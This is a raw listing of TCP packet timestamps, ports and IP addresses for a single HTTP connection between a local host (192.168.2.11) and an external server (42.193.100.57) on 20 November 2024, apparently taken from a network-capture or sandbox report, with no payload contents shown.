Nov 20, 2024 09:14:47.478399038 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.478409052 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.478419065 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.478430986 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.478441000 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.478449106 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.478451014 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.478458881 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.478471994 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.478487968 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.478492022 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.478506088 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.478516102 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.478528976 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.478537083 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.478542089 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.478550911 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.478560925 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.478568077 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.478571892 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.478583097 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.478588104 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.478595018 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.478605986 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.478606939 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.478617907 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.478625059 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.478629112 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.478636026 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.478646994 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.478652000 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.478657007 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.478662968 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.478668928 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.478672981 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.478677988 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.478684902 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.478696108 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.478704929 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.478708029 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.478719950 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.478727102 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.478734970 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.478744984 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.478745937 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.478759050 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.478773117 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.478804111 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.479779005 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.479796886 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.479809046 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.479819059 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.479829073 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.479831934 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.479840994 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.479852915 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.479868889 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.479880095 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.479885101 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.479892015 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.479902983 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.479912996 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.479923010 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.479923010 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.479938030 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.479942083 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.479962111 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.479964018 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.479974031 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.479981899 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.479985952 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.479998112 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.480007887 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.480010986 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.480020046 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.480031013 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.480041027 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.480041981 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.480051994 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.480057001 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.480071068 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.480078936 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.480083942 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.480093956 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.480098009 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.480106115 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.480115891 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.480125904 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.480137110 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.480137110 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.480146885 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.480158091 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.480176926 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.480179071 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.480195045 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.480298042 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.480832100 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.480844021 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.480854034 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.480864048 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.480880976 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.480881929 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.480892897 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.480905056 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.480907917 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.480921984 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.480932951 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.480942965 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.480945110 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.480954885 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.480966091 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.480971098 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.480978012 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.480988979 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.480998993 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.481009007 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.481009007 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.481029034 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.481030941 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.481043100 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.481049061 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.481053114 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.481065035 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.481065989 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.481077909 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.481089115 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.481095076 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.481098890 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.481111050 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.481121063 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.481123924 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.481132984 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.481142998 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.481144905 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.481157064 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.481165886 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.481168032 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.481180906 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.481188059 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.481190920 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.481203079 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.481206894 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.481214046 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.481225014 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.481235027 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.481237888 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.481245995 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.481275082 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.481293917 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.570122004 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.570149899 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.570161104 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.570173025 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.570179939 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.570194006 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.570194006 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.570219040 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.570229053 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.570236921 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.570271969 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.570327997 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.570339918 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.570349932 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.570372105 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.570396900 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.570398092 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.570410967 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.570422888 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.570431948 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.570444107 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.570444107 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.570445061 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.570453882 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.570461988 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.570466042 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.570475101 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.570491076 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.570648909 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.570694923 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.570734024 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.570744991 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.570801973 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.570822001 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.570832968 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.570844889 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.570862055 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.570869923 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.570883036 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.570888996 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.570909023 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.570924997 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.570941925 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.571001053 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571012974 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571038008 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.571063995 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.571072102 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571083069 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571093082 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571104050 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571105003 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.571115971 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571132898 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.571170092 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.571207047 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571223974 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571234941 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571244955 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571250916 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.571255922 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571271896 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571291924 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.571310997 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.571402073 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571412086 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571422100 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571433067 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571444035 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571450949 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.571455002 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571469069 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571471930 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.571480989 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571485043 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.571492910 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571505070 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571516991 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.571517944 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571544886 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.571547985 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571558952 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571563959 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.571592093 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.571650028 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571660995 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571671009 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571681976 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571686983 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.571693897 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571717024 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.571748018 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.571779013 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571791887 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571803093 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571813107 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571825027 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571827888 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.571856022 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.571882963 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.571944952 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571955919 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571966887 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571975946 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571991920 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571996927 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.571999073 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.572007895 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.572011948 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.572026014 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.572051048 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.572073936 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.572081089 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.572092056 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.572103024 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.572118044 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.572120905 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.572134018 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.572144032 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.572146893 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.572155952 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.572177887 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.572196960 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.572321892 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.572367907 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.572369099 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.572382927 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.572413921 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.572432041 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.572457075 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.572468042 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.572478056 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.572493076 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.572520018 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.572551012 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.572561026 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.572571993 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.572582960 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.572587967 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.572592974 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.572604895 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.572627068 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.572659016 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.572662115 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.572671890 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.572701931 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.572736025 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.572792053 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.572832108 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.572838068 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.572849989 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.572875977 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.572901011 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.572922945 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.572933912 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.572945118 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.572956085 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.572961092 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.573060989 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.573091984 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.573103905 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.573115110 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.573124886 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.573143005 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.573148012 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.573158979 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.573163033 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.573175907 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.573189020 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.573208094 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.573215961 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.573220015 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.573230982 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.573241949 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.573244095 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.573271990 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.573386908 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.573399067 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.573409081 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.573420048 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.573426008 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.573431969 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.573443890 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.573446035 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.573482037 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.658868074 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.658886909 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.658899069 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.658912897 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:47.658925056 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:47.658934116 CET	80	49701	42.193.100.57	192.168.2.11
